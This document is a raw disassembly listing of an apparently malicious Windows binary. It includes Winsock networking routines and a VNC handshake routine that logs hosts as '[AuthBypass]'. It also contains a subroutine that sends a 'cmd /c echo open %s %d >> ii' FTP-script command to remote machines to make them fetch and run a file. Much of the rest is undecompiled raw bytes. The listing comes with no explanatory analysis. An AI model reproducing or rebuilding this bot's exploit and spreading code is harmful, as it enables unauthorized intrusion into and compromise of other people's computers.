test al, al jz short loc_40E85F cmp [ebp-4Ch], ebx jz short loc_40E851 lea eax, [ebp-5Ch] push eax lea eax, [ebp-14h] push eax lea eax, [ebp-60DCh] push 2000h push eax push dword ptr [ebp-4] call near ptr 2710000h nop test eax, eax jnz short loc_40E838 nop call near ptr 26908A7h cmp eax, 3E5h jnz loc_40E439 loc_40E838: ; CODE XREF: ___:0040E825j push 3E8h push dword ptr [ebp-4Ch] nop call near ptr 2690F19h cmp eax, 102h jnz short loc_40E851 mov byte ptr [ebp+0Bh], 1 loc_40E851: ; CODE XREF: ___:0040E804j ; ___:0040E84Bj cmp [ebp+0Bh], bl mov esi, [ebp-8] jz loc_40E7CD jmp short loc_40E862 ; --------------------------------------------------------------------------- loc_40E85F: ; CODE XREF: ___:0040E7FFj mov esi, [ebp-8] loc_40E862: ; CODE XREF: ___:0040E7D1j ; ___:0040E85Dj push dword ptr [ebp-4] mov edi, dword_427078 call edi push esi call sub_41BA31 cmp [ebp-4Ch], ebx pop ecx jz short loc_40E87E push dword ptr [ebp-4Ch] call edi loc_40E87E: ; CODE XREF: ___:0040E877j cmp [ebp+0Bh], bl setnz al loc_40E884: ; CODE XREF: ___:0040E43Bj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; ▀ db 0ECh ; Л db 81h ; │ db 0ECh ; Л db 0A0h ; ═ db 5 db 0 db 0 db 53h ; S db 56h ; V db 57h ; W db 33h ; 3 db 0F6h ; Ж db 6Ah ; j db 10h db 8Dh ; █ db 45h ; E db 0F0h ; П db 56h ; V db 50h ; P db 0E8h ; Х db 6Dh ; m db 0D4h ; т db 0 db 0 db 83h ; ┐ db 0C4h ; д db 0Ch db 8Dh ; █ db 45h ; E db 0Ch db 66h ; f db 0C7h ; г db 45h ; E db 0F0h ; П db 2 db 0 db 50h ; P db 90h ; ░ db 0E8h ; Х db 42h ; B db 2Ah ; * db 6Ah ; j db 71h ; q db 0FFh db 0B5h ; ╣ db 0C4h ; д db 0 db 0 db 0 db 89h ; ┴ db 45h ; E db 0F4h ; Т db 90h ; ░ db 0E8h ; Х db 81h ; │ db 2Eh ; . db 6Ah ; j db 71h ; q db 56h ; V db 6Ah ; j db 1 db 6Ah ; j db 2 db 66h ; f db 89h ; ┴ db 45h ; E db 0F2h ; Р db 0E8h ; Х db 4Fh ; O db 53h ; S db 6Ah ; j db 71h ; q db 90h ; ░ db 8Bh ; ▀ db 0D8h ; ь db 83h ; ┐ db 0FBh ; Ш db 0FFh db 74h ; t db 7Ch ; | db 8Dh ; █ db 45h ; E db 0F0h ; П db 6Ah ; j db 10h db 50h ; P db 53h ; S db 90h ; ░ db 0E8h ; Х db 75h ; u db 55h ; U db 6Ah ; j db 71h ; q db 83h ; ┐ db 0F8h ; Ь db 0FFh db 74h ; t db 6Ah ; j db 0BFh ; © db 0 db 4 db 0 db 0 db 56h ; V db 8Bh ; ▀ db 35h ; 5 db 14h db 72h ; r db 42h ; B db 0 db 8Dh ; █ db 85h ; ┘ db 60h ; ` db 0FAh ; З db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; ж db 0B8h ; ╦ db 8 db 91h ; ▒ db 42h ; B db 0 db 50h ; P db 50h ; P db 0FFh db 35h ; 5 db 40h ; @ db 90h ; ░ db 4Ch ; L db 0 db 0FFh db 75h ; u db 8 db 0E8h ; Х db 0E1h ; А db 0C0h ; ю db 0FFh db 0FFh db 59h ; Y db 50h ; P db 68h ; h db 20h db 2Ch ; , db 43h ; C db 0 db 8Dh ; █ db 85h ; ┘ db 60h ; ` db 0FEh ; Ч db 0FFh db 0FFh db 68h ; h db 90h ; ░ db 1 db 0 db 0 db 50h ; P db 0E8h ; Х db 0CFh ; о db 0D7h ; в db 0 db 0 db 83h ; ┐ db 0C4h ; д db 1Ch db 8Dh ; █ db 85h ; ┘ db 60h ; ` db 0FEh ; Ч db 0FFh db 0FFh db 6Ah ; j db 0 db 50h ; P db 0E8h ; Х db 1Eh db 0D0h ; п db 0 db 0 db 59h ; Y db 50h ; P db 8Dh ; █ db 85h ; ┘ db 60h ; ` db 0FEh ; Ч db 0FFh db 0FFh db 50h ; P db 53h ; S db 0E8h ; Х db 0A3h ; ё db 31h ; 1 db 6Ah ; j db 71h ; q db 90h ; ░ db 83h ; ┐ db 0F8h ; Ь db 0FFh db 75h ; u db 4 db 33h ; 3 db 0C0h ; ю db 0EBh ; К db 17h db 6Ah ; j db 0 db 8Dh ; █ db 85h ; ┘ db 60h ; ` db 0FAh ; З db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; ж db 53h ; S db 90h ; ░ db 0E8h ; Х db 0FEh ; Ч db 30h ; 0 db 6Ah ; j db 71h ; q db 6Ah ; j db 1 db 58h ; X db 5Fh ; _ db 5Eh ; ^ db 5Bh ; [ db 0C9h ; и db 0C3h ; ц db 53h dd 0DB335756h, 1424448Dh, 0FDE85053h, 59FFFFF9h, 7459C084h dd 8D656A22h, 81142474h, 0BCECh, 592F6A00h, 0A5F3FC8Bh dd 0FFFEE4E8h, 0C0C481FFh, 85000000h, 851575C0h, 680B75DBh dd 7D0h, 1642E890h, 83430228h, 0B87202FBh, 5F58016Ah ; --------------------------------------------------------------------------- pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E9CB proc near ; CODE XREF: sub_40EAB9+91p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call near ptr 71AB12F8h nop push [ebp+arg_BC] mov [ebp+var_C], eax nop call near ptr 71AB1746h push esi push 1 push 2 mov [ebp+var_E], ax call near ptr 71AB3C22h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40EA99 lea eax, [ebp+var_10] push 10h push eax push ebx nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jz short loc_40EA99 mov edi, 400h push esi mov esi, dword_427214 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset byte_429108 push eax push eax push dword_4C9040 push [ebp+arg_0] call sub_40A9FA pop ecx push eax push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+var_1A0] push 190h push eax call sub_41C100 add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call near ptr 71AB1AF4h nop cmp eax, 0FFFFFFFFh jnz short loc_40EA9D loc_40EA99: ; CODE XREF: sub_40E9CB+50j ; sub_40E9CB+62j xor eax, eax jmp short loc_40EAB4 ; --------------------------------------------------------------------------- loc_40EA9D: ; CODE XREF: sub_40E9CB+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx nop call near ptr 71AB1A6Dh push 1 pop eax loc_40EAB4: ; CODE XREF: sub_40E9CB+D0j pop edi pop esi pop ebx leave retn sub_40E9CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EAB9 proc near ; CODE XREF: sub_40C3D3+1E6p ; DATA XREF: ___:off_43180Co var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp sub esp, 10h push esi lea eax, [ebp+arg_4] push edi push eax mov [ebp+var_10], 2 call dword_4C9344 push [ebp+arg_A0] mov [ebp+var_C], eax call dword_4C9304 push 6 push 1 push 2 mov [ebp+var_E], ax nop call near ptr 71AB3C22h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40EB2B lea eax, [ebp+var_10] push 10h push eax push esi nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jnz short loc_40EB0C push esi jmp short loc_40EB25 ; --------------------------------------------------------------------------- loc_40EB0C: ; CODE XREF: sub_40EAB9+4Ej push 0 push 1213h push offset dword_432C94 push esi call near ptr 71AB1AF4h nop cmp eax, 0FFFFFFFFh push esi jnz short loc_40EB2F loc_40EB25: ; CODE XREF: sub_40EAB9+51j nop call near ptr 71AB1A6Dh loc_40EB2B: ; CODE XREF: sub_40EAB9+3Cj xor eax, eax jmp short loc_40EB71 ; --------------------------------------------------------------------------- loc_40EB2F: ; CODE XREF: sub_40EAB9+6Aj nop call near ptr 71AB1A6Dh push 216Bh lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40E9CB add esp, 0C0h test eax, eax jz short loc_40EB6E mov eax, [ebp+arg_A8] shl eax, 6 inc dword_431810[eax] lea eax, dword_431810[eax] loc_40EB6E: ; CODE XREF: sub_40EAB9+9Ej push 1 pop eax loc_40EB71: ; CODE XREF: sub_40EAB9+74j pop edi pop esi leave retn sub_40EAB9 endp ; =============== S U B R O U T I N E ======================================= sub_40EB75 proc near ; CODE XREF: ___:0040EC63p ; ___:0040ECC5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] xor esi, esi loc_40EB7D: ; CODE XREF: sub_40EB75+2Dj test edi, edi loc_40EB7F: ; DATA XREF: Themida_:0054BFC5o jle short loc_40EBA8 mov eax, [esp+8+arg_4] push 0 add eax, esi push edi push eax push [esp+14h+arg_0] call dword_4C931C test eax, eax jz short loc_40EBA4 cmp eax, 0FFFFFFFFh jz short loc_40EBA4 sub edi, eax add esi, eax jmp short loc_40EB7D ; --------------------------------------------------------------------------- loc_40EBA4: ; CODE XREF: sub_40EB75+22j ; sub_40EB75+27j xor eax, eax jmp short loc_40EBAB ; --------------------------------------------------------------------------- loc_40EBA8: ; CODE XREF: sub_40EB75:loc_40EB7Fj push 1 pop eax loc_40EBAB: ; CODE XREF: sub_40EB75+31j pop edi pop esi retn sub_40EB75 endp ; =============== S U B R O U T I N E ======================================= sub_40EBAE proc near ; CODE XREF: ___:0040ECAFp ; ___:0040ECDCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] test edi, edi jz short loc_40EBEB xor esi, esi test edi, edi jle short loc_40EBE5 loc_40EBBE: ; CODE XREF: sub_40EBAE+35j mov eax, edi push 0 sub eax, esi push eax mov eax, [esp+10h+arg_4] add eax, esi push eax push [esp+14h+arg_0] call dword_4C9354 cmp eax, 0FFFFFFFFh jz short loc_40EBEB test eax, eax jz short loc_40EBEB add esi, eax cmp esi, edi jl short loc_40EBBE loc_40EBE5: ; CODE XREF: sub_40EBAE+Ej push 1 pop eax loc_40EBE8: ; CODE XREF: sub_40EBAE+3Fj pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40EBEB: ; CODE XREF: sub_40EBAE+8j ; sub_40EBAE+2Bj ... xor eax, eax jmp short loc_40EBE8 sub_40EBAE endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 24Ch push ebx mov ax, word_433ED8 push esi push edi push 0 push 1 push 2 mov [ebp-2], ax pop esi push esi call dword_4C9384 mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_40EC1D push eax jmp short loc_40EC51 ; --------------------------------------------------------------------------- loc_40EC1D: ; CODE XREF: ___:0040EC18j lea eax, [ebp+0Ch] push eax call dword_4C9344 push dword ptr [ebp+0A8h] mov [ebp-48h], eax mov [ebp-4Ch], si call dword_4C9304 mov [ebp-4Ah], ax lea eax, [ebp-4Ch] push 10h push eax push ebx call dword_4C92AC cmp eax, 0FFFFFFFFh jnz short loc_40EC5C push ebx loc_40EC51: ; CODE XREF: ___:0040EC1Bj call dword_4C939C jmp loc_40EE57 ; --------------------------------------------------------------------------- loc_40EC5C: ; CODE XREF: ___:0040EC4Ej lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40EB75 add esp, 0Ch test eax, eax jz loc_40EE50 lea eax, [ebp-20h] and byte ptr [ebp-2Ch], 0 push eax lea eax, [ebp-28h] push eax lea eax, [ebp-38h] push offset aRfb03d_03d ; "RFB %03d.%03d\n" push eax call sub_41CA73 add esp, 10h cmp eax, esi jnz loc_40EE50 cmp dword ptr [ebp-28h], 3 jz short loc_40ECA8 cmp dword ptr [ebp-20h], 8 jnz loc_40EE50 loc_40ECA8: ; CODE XREF: ___:0040EC9Cj lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40EBAE add esp, 0Ch test eax, eax jz loc_40EE50 lea eax, [ebp-3Ch] push esi push eax push ebx call sub_40EB75 add esp, 0Ch test eax, eax jz loc_40EE50 lea eax, [ebp-2] push 1 push eax push ebx call sub_40EBAE add esp, 0Ch test eax, eax jz loc_40EE50 lea eax, [ebp-24h] push 4 push eax push ebx call sub_40EB75 add esp, 0Ch test eax, eax jz loc_40EE50 mov eax, [ebp-24h] mov edi, 0FF0000h mov ecx, eax mov edx, eax and ecx, edi mov esi, 0FF00h shr edx, 10h or ecx, edx mov edx, eax shl edx, 10h and eax, esi or edx, eax shr ecx, 8 shl edx, 8 or ecx, edx mov [ebp-24h], ecx jnz loc_40EE50 push 1 push offset word_4C91BC push ebx call sub_40EBAE add esp, 0Ch test eax, eax jz loc_40EE50 lea eax, [ebp-1Ch] push 18h push eax push ebx call sub_40EB75 add esp, 0Ch test eax, eax jz loc_40EE50 xor eax, eax mov ecx, [ebp-8] mov al, [ebp-1Bh] mov edx, ecx mov ah, [ebp-1Ch] mov [ebp-1Ch], ax xor eax, eax mov al, [ebp-19h] mov ah, [ebp-1Ah] mov [ebp-1Ah], ax xor eax, eax mov al, [ebp-13h] mov ah, [ebp-14h] mov [ebp-14h], ax xor eax, eax mov al, [ebp-11h] mov ah, [ebp-12h] mov [ebp-12h], ax xor eax, eax mov al, [ebp-0Fh] mov ah, [ebp-10h] mov [ebp-10h], ax mov eax, ecx and eax, edi shr edx, 10h or eax, edx mov edx, ecx shl edx, 10h and ecx, esi or edx, ecx shr eax, 8 shl edx, 8 or eax, edx mov [ebp-8], eax add eax, 2 push eax call sub_41D735 mov edi, [ebp-8] pop ecx test edi, edi mov esi, eax jle short loc_40EDE0 push edi push esi push ebx call sub_40EB75 add esp, 0Ch loc_40EDE0: ; CODE XREF: ___:0040EDD3j and byte ptr [edi+esi], 0 lea eax, [ebp+0Ch] push eax push esi push dword ptr [ebp-20h] lea eax, [ebp-24Ch] push dword ptr [ebp-28h] push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]" push 200h push eax call sub_41C100 push 0 lea eax, [ebp-24Ch] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409862 lea eax, [ebp-24Ch] push eax call sub_415CEE mov eax, [ebp+0B0h] add esp, 34h shl eax, 6 inc dword_431810[eax] push ebx lea eax, dword_431810[eax] call near ptr 71AB1A6Dh nop push 1 pop eax jmp short loc_40EE59 ; --------------------------------------------------------------------------- loc_40EE50: ; CODE XREF: ___:0040EC6Dj ; ___:0040EC92j ... push ebx call near ptr 71AB1A6Dh nop loc_40EE57: ; CODE XREF: ___:0040EC57j xor eax, eax loc_40EE59: ; CODE XREF: ___:0040EE4Ej pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40EE67: ; CODE XREF: ___:0040EE83j ; ___:0040EE9Fj push 0 lea eax, [ebp-404h] push 400h push eax push dword_4CC048 call dword_4C931C test eax, eax jle short loc_40EE67 lea ecx, [ebp-4] push 0 push ecx push eax lea eax, [ebp-404h] push eax push dword_4CC044 call near ptr 2720000h nop jmp short loc_40EE67 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40EEAA: ; CODE XREF: ___:0040EED0j ; ___:0040EEEAj lea eax, [ebp-4] and dword ptr [ebp-4], 0 push 0 push eax lea eax, [ebp-404h] push 400h push eax push dword_4CC038 call near ptr 2710000h nop cmp dword ptr [ebp-4], 0 jle short loc_40EEAA push 0 lea eax, [ebp-404h] push dword ptr [ebp-4] push eax push dword_4CC048 call dword_4C9354 jmp short loc_40EEAA ; --------------------------------------------------------------------------- dword_40EEEC dd 81EC8B55h, 11CECh, 8458B00h, 6A575653h, 59F08B28h, 0FEE4BD8Dh ; DATA XREF: sub_401AC7+2CDAo dd 0A5F3FFFFh, 0FF33016Ah, 98B0895Eh, 6A000000h, 0C8458D10h dd 0F1E85057h, 830000CDh, 0C7660CC4h, 2C845h, 0FF68B5FFh dd 15FFFFFFh, 4C9304h, 6A56066Ah, 45896602h, 8415FFCAh dd 89004C93h, 458D0845h, 50106AC8h, 0FF0875FFh, 4C933015h dd 0FF056A00h, 15FF0875h, 4C932Ch, 71141D8Bh, 358B0042h dd 427078h, 75FF5757h, 9815FF08h, 0A3004C93h, 4CC048h dd 57F4458Dh, 0C0446850h, 4068004Ch, 0C7004CC0h, 0CF445h dd 45C70000h, 1FCh, 0F87D8900h, 458DD3FFh, 685057F4h, 4CC03Ch dd 4CC03868h, 6AD3FF00h, 84458D44h, 55E85057h, 0A10000CDh dd 4CC040h, 890CC483h, 3CA1BC45h, 89004CC0h, 6A57C045h dd 0C4458D01h, 0C750026Ah, 448445h, 45C70000h, 101B0h dd 7D896600h, 73E890B4h, 50023316h, 0C03C35FFh, 0E890004Ch dd 2331666h, 0FDE89050h, 8D02330Fh, 8D50D845h, 57508445h dd 906857h, 458D0400h, 50016AF4h, 50F4458Dh, 433EDC68h dd 0E8905700h, 22613ABh, 50E8458Dh, 0A1685757h, 8D0040EEh dd 5057F445h, 28105FE8h, 45899002h, 0E8458DECh, 68575750h dd 40EE5Eh, 57F4458Dh, 1046E850h, 6A900228h, 0F04589FFh dd 90D875FFh, 281EB4E8h, 75FF5702h, 14E890F0h, 57022917h dd 90EC75FFh, 29170AE8h, 0F075FF02h, 75FFD6FFh, 57D6FFECh dd 90D875FFh, 321CA3E8h, 4035FF02h, 0FF004CC0h, 4435FFD6h dd 0FF004CC0h, 3835FFD6h, 0FF004CC0h, 3C35FFD6h, 0FF004CC0h dd 0DC75FFD6h, 75FFD6FFh, 0E9D6FFD8h, 0FFFFFEB0h, 0E9h dd 0FFFE6800h, 680000h, 0E8000004h, 9AB2h, 0C050A359h dd 0C359004Ch dword_40F0D8 dd 81EC8B55h, 6C0ECh, 8458B00h, 6A575653h, 59F08B27h, 0FF50BD8Dh ; DATA XREF: sub_40BD7C+34Do dd 0A5F3FFFFh, 0DB33016Ah, 98B0895Eh, 6A000000h, 0EC458D10h dd 5E85053h, 830000CCh, 0C7660CC4h, 2EC45h, 0FF5CB5FFh dd 15FFFFFFh, 4C9304h, 26A5653h, 0EE458966h, 0FFF05D89h dd 4C938415h, 83F88B00h, 0FE3BFFCEh, 5D394575h, 532075E4h dd 0FD40858Dh, 75FFFFFFh, 858D50E0h, 0FFFFFF60h, 50B5FF50h dd 0E8FFFFFFh, 0FFFFA706h, 8D14C483h, 0FFFD4085h, 83E850FFh dd 0FF00006Bh, 0FFFF54B5h, 0C553E8FFh, 5959FFFFh, 81E89053h dd 8B022E0Eh, 0FFFF5485h, 69106AFFh, 234C0h, 4CB88900h dd 8D0043C2h, 5750EC45h, 933015FFh, 0C63B004Ch, 400BBh dd 0CF850F00h, 0FF000000h, 4C929815h, 27403D00h, 47740000h dd 7539F633h, 562075E4h, 0FD40858Dh, 75FFFFFFh, 858D50E0h dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFA686h, 8D14C483h dd 0FFFD4085h, 3E850FFh, 0FF00006Bh, 0FFFF54B5h, 0C4D3E8FFh dd 5959FFFFh, 0E02E856h, 6890022Eh, 0FFFEh, 9978E853h dd 0A3590000h, 4CC050h, 45896659h, 0EC458DEEh, 5750106Ah dd 933015FFh, 0C63B004Ch, 15FF5475h, 4C9298h, 7539F633h dd 3D2775E4h, 2740h, 8D562074h, 0FFFD4085h, 0E075FFFFh dd 60858D50h, 50FFFFFFh, 0FF50B5FFh, 0BE8FFFFh, 83FFFFA6h dd 858D14C4h, 0FFFFFD40h, 6A88E850h, 0B5FF0000h, 0FFFFFF54h dd 0FFC458E8h, 565959FFh, 0D86E890h, 56A022Eh, 2C15FF57h dd 3B004C93h, 0D4840FC6h, 0C7000000h, 10FC45h, 8BE0000h dd 8D004291h, 8D50FC45h, 0FFFF4085h, 0FF5750FFh, 4C939815h dd 0FFF88300h, 74084589h, 0E47D83E6h, 6A217500h, 40858D00h dd 0FFFFFFFDh, 8D50E075h, 0FFFF6085h, 0B5FF50FFh, 0FFFFFF50h dd 0FFA58DE8h, 14C483FFh, 0FD40858Dh, 0E850FFFFh, 6A0Ah dd 40858D59h, 6AFFFFFDh, 2006800h, 0FF500000h, 15FF0875h dd 4C931Ch, 74FFF883h, 0FF565696h, 4C904035h, 50B5FF00h dd 0E8FFFFFFh, 0FFFFB6E6h, 0E4685059h, 8D00433Eh, 0FFF94085h dd 0E85053FFh, 0CDD8h, 8D1CC483h, 0FFF94085h, 50006AFFh dd 0C627E8h, 8D505900h, 0FFF94085h, 75FF50FFh, 5415FF08h dd 83004C93h, 840FFFF8h, 0FFFFFF43h, 0C05805FFh, 38E9004Ch dd 57FFFFFFh, 939C15FFh, 0B5FF004Ch, 0FFFFFF54h, 0FFC358E8h dd 6A59FFh, 2E0C87E8h db 2, 90h word_40F37A dw 8B55h ; DATA XREF: sub_40BD7C+22Ao dd 70EC81ECh, 8B00000Ah, 56530845h, 0B9016A57h, 0A9h, 0BD8DF08Bh dd 0FFFFF920h, 89A5F35Bh, 2A098h, 90858D00h, 33FFFFF5h dd 16850F6h, 89000001h, 5D89D85Dh, 0E85D89E0h, 0FDD4B589h dd 0B589FFFFh, 0FFFFFBC4h, 4E10E890h, 5356716Ah, 4FE8026Ah dd 90716A48h, 71F4358Bh, 4D8D0042h, 51046AD8h, 0FFFFBFh dd 57046A00h, 0F8458950h, 458DD6FFh, 50046AE0h, 8B57FB6Ah dd 0FF57F87Dh, 0E8458DD6h, 667E6850h, 90578004h, 6A214DE8h dd 40A16671h, 83004C90h, 5000C865h, 0C445C766h, 15FF0002h dd 4C9304h, 0C6458966h, 6AC4458Dh, 0E8575010h, 716A4A9Ah dd 7DC08590h, 0E9C38B07h, 545h, 90570A6Ah, 6A6999E8h, 0D49D8971h dd 8BFFFFFDh, 4272201Dh, 0D8BD8900h, 89FFFFFDh, 416AFC7Dh dd 0FDD4B58Dh, 8D59FFFFh, 0FFFBC4BDh, 33A5F3FFh, 0C4858DF6h dd 56FFFFFBh, 8B505656h, 5040FC45h, 6A240BE8h, 0F8839071h dd 0F3840FFFh, 33000004h, 0FC7539FFh, 7C087D89h, 6AF633C5h dd 60858D64h, 56FFFFFDh, 0C866E850h, 646A0000h, 0FF50858Dh dd 5056FFFFh, 0C857E8h, 18C48300h, 0FBC4858Dh, 5750FFFFh dd 1716DE8h, 0FC08500h, 49F84h, 0F87D3B00h, 458D7A75h dd 0F045C7F0h, 10h, 0C4858D50h, 50FFFFFDh, 90F875FFh, 6A919CE8h dd 0FFF88371h, 476840Fh, 0C9330000h, 0FDD4B539h, 1676FFFFh dd 0FDD8958Dh, 239FFFFh, 83410C74h, 8D3B04C2h, 0FFFFFDD4h dd 8D3BF072h, 0FFFFFDD4h, 0BD831675h, 0FFFFFDD4h, 890D7340h dd 0FDD88D84h, 85FFFFFFh, 0FFFFFDD4h, 7EFC453Bh, 0FC458903h dd 68156A56h, 4341A4h, 0E9D3FF50h, 420h, 60858D56h, 6AFFFFFDh dd 0E8575064h, 716A6130h, 7FC08590h, 0D4958B52h, 33FFFFFDh dd 76D63BC9h, 0D8858D3Ah, 39FFFFFDh, 410A7438h, 3B04C083h dd 0EBF472CAh, 0CA3B4A26h, 848D1B73h, 0FFFDD88Dh, 4508BFFh dd 8B108941h, 0FFFDD495h, 4C083FFh, 72CA3B4Ah, 0D48DFFECh dd 57FFFFFDh, 24BBE890h, 0B9E9716Ah, 8D000003h, 0FFFCC885h dd 858D50FFh, 0FFFFFF50h, 60858D50h, 68FFFFFDh, 43419Ch dd 0D49DE850h, 858D0000h, 0FFFFFF50h, 43419468h, 0F9E85000h dd 830000D1h, 0C08518C4h, 6A560D75h, 417C6816h, 82E90043h dd 8D000000h, 0FFFF5085h, 417468FFh, 0E8500043h, 0D1D4h dd 59C08559h, 6A560A75h, 415C6814h, 61EB0043h, 0FF50858Dh dd 5468FFFFh, 50004341h, 0D1B3E8h, 0C0855900h, 560A7559h dd 44680D6Ah, 0EB004341h, 50858D40h, 68FFFFFFh, 43413Ch dd 0D192E850h, 85590000h, 0A7559C0h, 68106A56h, 434128h dd 858D1FEBh, 0FFFFFF50h, 43412468h, 71E85000h, 590000D1h dd 7559C085h, 1E6A560Eh, 43410468h, 0D6E95700h, 0BF000002h dd 4340FCh, 0FF50858Dh, 5057FFFFh, 0D14BE8h, 0C0855900h dd 8D247559h, 0FFFCC885h, 40F868FFh, 0E8500043h, 0D134h dd 59C08559h, 6A560D75h, 40E46813h, 97E90043h, 8D000002h dd 0FFFF5085h, 0E85057FFh, 0D114h, 59C08559h, 858D2475h dd 0FFFFFCC8h, 4340E068h, 0FDE85000h, 590000D0h, 7559C085h dd 136A560Dh, 4340CC68h, 260E900h, 858D0000h, 0FFFFFF50h dd 4340C468h, 0D9E85000h, 590000D0h, 7559C085h, 0BE0A6A34h dd 434098h, 0D8BD8D59h, 0F3FFFFFEh, 858D50A5h, 0FFFFFED8h dd 0E8A56650h, 0C234h, 858D5059h, 0FFFFFED8h, 875FF50h dd 0F633D3FFh, 21AE9h, 50858D00h, 68FFFFFFh, 434090h, 0D08EE850h dd 85590000h, 2A7559C0h, 78BE056Ah, 59004340h, 0FF38BD8Dh dd 0A5F3FFFFh, 8D50A566h, 0FFFF3885h, 0E8A450FFh, 0C1E8h dd 858D5059h, 0FFFFFF38h, 858DB2EBh, 0FFFFFF50h, 43407068h dd 4DE85000h, 590000D0h, 0F59C085h, 0B385h, 2C858D00h dd 50FFFFFDh, 0FF04858Dh, 8D50FFFFh, 8D50EC45h, 8D50E445h dd 8D50DC45h, 8D50D445h, 0FFFD6085h, 404868FFh, 0E8500043h dd 0D2A7h, 0FF04858Dh, 0E850FFFFh, 0C721h, 858DF88Bh, 0FFFFFD2Ch dd 0C713E850h, 45890000h, 8D326AF4h, 0FFFF0485h, 0E85056FFh dd 0C518h, 8DF475FFh, 0FFFF0485h, 406857FFh, 50004340h dd 0C7F9E8h, 44C48300h, 0FF04858Dh, 106AFFFFh, 0FE85056h dd 890000CDh, 458DF445h, 458D50ECh, 458D50E4h, 458D50DCh dd 458D50D4h, 403468B4h, 0E8500043h, 0C7C6h, 5624C483h dd 14681D6Ah, 0E9004340h, 106h, 0FF50858Dh, 0C68FFFFh dd 50004340h, 0CF7FE8h, 0C0855900h, 0CC850F59h, 56000000h dd 0E068286Ah, 0FF00433Fh, 0D3FF0875h, 8DF475FFh, 0E850B445h dd 108h, 1F88359h, 9E850F59h, 39000000h, 0FFFBBCB5h, 562375FFh dd 0F720858Dh, 0B5FFFFFFh, 0FFFFFBB8h, 38858D50h, 50FFFFFBh dd 0F920B5FFh, 0ABE8FFFFh, 83FFFF9Fh, 4AE814C4h, 83000001h dd 850F01F8h, 93h, 68176A56h, 433FC8h, 0FF0875FFh, 0B4458DD3h dd 20858D50h, 68FFFFF7h, 433F94h, 0C71CE850h, 0C4830000h dd 0BCB5390Ch, 75FFFFFBh, 858D5623h, 0FFFFF720h, 0FBB8B5FFh dd 8D50FFFFh, 0FFFB3885h, 0B5FF50FFh, 0FFFFF920h, 0FF9F4DE8h dd 14C483FFh, 0F720858Dh, 0E850FFFFh, 63CAh, 0BE1005FFh dd 0EB59004Ch, 206A562Eh, 433F7068h, 8D1FEB00h, 0FFFF5085h dd 0CD2C68FFh, 0E8500042h, 0CE98h, 59C08559h, 6A560D75h dd 3F54681Bh, 75FF0043h, 6AD3FF08h, 60858D64h, 56FFFFFDh dd 0C3A6E850h, 7D8B0000h, 0CC48308h, 0FC7D3B47h, 0F087D89h dd 0FFFB1C8Eh, 0FADCE9FFh, 16AFFFFh, 5B5E5F58h, 4C2C9h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp-1A0h] push eax push 101h nop call near ptr 71AB41DAh push 0 push 1 push 2 nop call near ptr 71AB3C22h push dword ptr [ebp+8] mov dword_4CC05C, eax mov word ptr [ebp-10h], 2 nop call near ptr 71AB12F8h push dword ptr [ebp+0Ch] mov [ebp-0Ch], eax nop call near ptr 71AB1746h mov [ebp-0Eh], ax lea eax, [ebp-10h] push 10h push eax push dword_4CC05C call near ptr 71AB3E5Dh nop cmp eax, 0FFFFFFFFh jnz short loc_40FA04 push dword_4CC05C nop call near ptr 71AB1A6Dh call near ptr 71AB1836h nop xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40FA04: ; CODE XREF: ___:0040F9ECj push 1 pop eax leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp-104h] push 104h push eax push 0 nop call near ptr 2680000h lea eax, [ebp-104h] push offset dword_429068 push eax call sub_41BC88 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40FAA0 test byte ptr [esi+0Ch], 10h jnz short loc_40FA84 push edi mov edi, 400h loc_40FA4C: ; CODE XREF: ___:0040FA81j push esi push 1 lea 